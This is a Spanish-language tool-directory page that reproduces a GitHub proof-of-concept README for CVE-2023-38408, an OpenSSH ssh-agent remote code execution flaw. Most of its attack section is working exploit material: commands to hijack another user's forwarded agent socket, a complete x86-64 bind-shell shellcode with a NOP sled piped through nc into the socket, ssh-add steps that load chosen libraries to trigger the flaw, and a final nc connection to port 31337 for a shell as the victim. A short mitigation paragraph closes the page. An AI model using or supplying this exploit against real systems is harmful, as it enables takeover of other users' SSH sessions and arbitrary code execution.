Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-38408 — Toma de control de cuentas OpenSSH | Kitploit
Herramientas/GitHubGitHub/lucaspdiniz/cve-2023-38408
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

Toma de control de cuentas OpenSSH

Ver Repositorio
4564hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad en OpenSSH - CVE-2023-38408 📚

Introducción

Se encontró una vulnerabilidad en OpenSSH (antes de la versión 9.3p2). La funcionalidad PKCS#11 en el ssh-agent de OpenSSH tiene una ruta de búsqueda insuficientemente confiable, lo que conduce a la ejecución remota de código si un agente se reenvía a un sistema controlado por el atacante (el código en /usr/lib no es necesariamente seguro para cargarlo en ssh-agent). Esta falla permite a un atacante con control del socket del agente reenviado en el servidor y la capacidad de escribir en el sistema de archivos del host cliente ejecutar código arbitrario con los privilegios del usuario que ejecuta el ssh-agent.

En el ejemplo siguiente, podemos observar brevemente los pasos desde la exploración hasta comprometer al usuario alice.

  • Paso 1 - El usuario Atacante se conecta por SSH al servidor.
  • Paso 2 - El usuario Alice también está conectado por ssh al servidor.
  • Paso 3 - El atacante crea un shellcode para enviarlo a través del proceso ssh al servidor objetivo.
  • Paso 4 - El shellcode enviado por el atacante explota la vulnerabilidad PKCS#11 del ssh-agent y crea un nuevo proceso secuestrando el acceso ssh del usuario Alice.
  • Paso 5 - Aún a través del acceso normal del atacante, es posible ejecutar comandos operativos como el usuario Alice, accediendo al exploit creado en el shellcode mediante nc localhost 31337.

¿Cómo hacerlo? vamos a crear el POC

Como se mencionó anteriormente, en este POC usaremos 2 usuarios conectados a un servidor a través de SSH. Para seguir los pasos a continuación, asumimos que los 2 usuarios ya tienen acceso al servidor (SSH).

  1. Obtenga el PID del agente SSH que se ejecuta en la máquina atacante remota y expórtelo a una variable de entorno. También agregamos mediante ssh-add el archivo linuxx64.elf.stub (stub de arranque UEFI)
Descargar herramienta
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. ahora, para copiar el shellcode en el proceso usando SSH, debes seguir estos pasos mientras estás en la máquina atacante;
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Finalmente, presione Ctrl-C para detener la transferencia de netcat una vez que el shellcode se haya colocado exitosamente en la memoria del agente.

  1. En este paso, vamos a subir 3 archivos mediante ssh-add; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 y libns3.35-wave.so.0.0.0. El siguiente paso del proceso de explotación es registrar el manejador de señales para la señal de Violación de Segmento (SIGSEGV).

[!NOTE] Desencadenando SIGSEGV 💬
SIGSEGV es una señal conocida en los procesos de computadora que se emite >cuando ocurre una referencia de memoria no válida (violación de segmento). Al recibir la señal SIGSEGV, el kernel reconoce que se ha producido un acceso a memoria no válido y procede a invocar el manejador de señales personalizado en lugar de terminar el programa abruptamente. Al hacerlo, el atacante aprovecha la oportunidad para manipular la ejecución del programa y dirigirla hacia el código malicioso inyectado ubicado dentro del trineo NOP.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. En este punto, ya hemos logrado explotar al usuario Alice a través del acceso ssh del atacante al servidor, ejecutando el siguiente comando creado por el shellcode. 🔥
root@kitploit:~
nc localhost 31337

¿CVE-2023-38408 me afecta? ❓

La vulnerabilidad afecta principalmente a los sistemas en los que se utiliza el SSH-agent de OpenSSH y la función de reenvío del agente está habilitada. Las organizaciones y personas que dependen de OpenSSH deben evaluar rápidamente sus configuraciones para determinar una posible exposición. Si su sistema cumple las condiciones mencionadas, es crucial tomar medidas inmediatas para mitigar el riesgo asociado con CVE-2023-38408.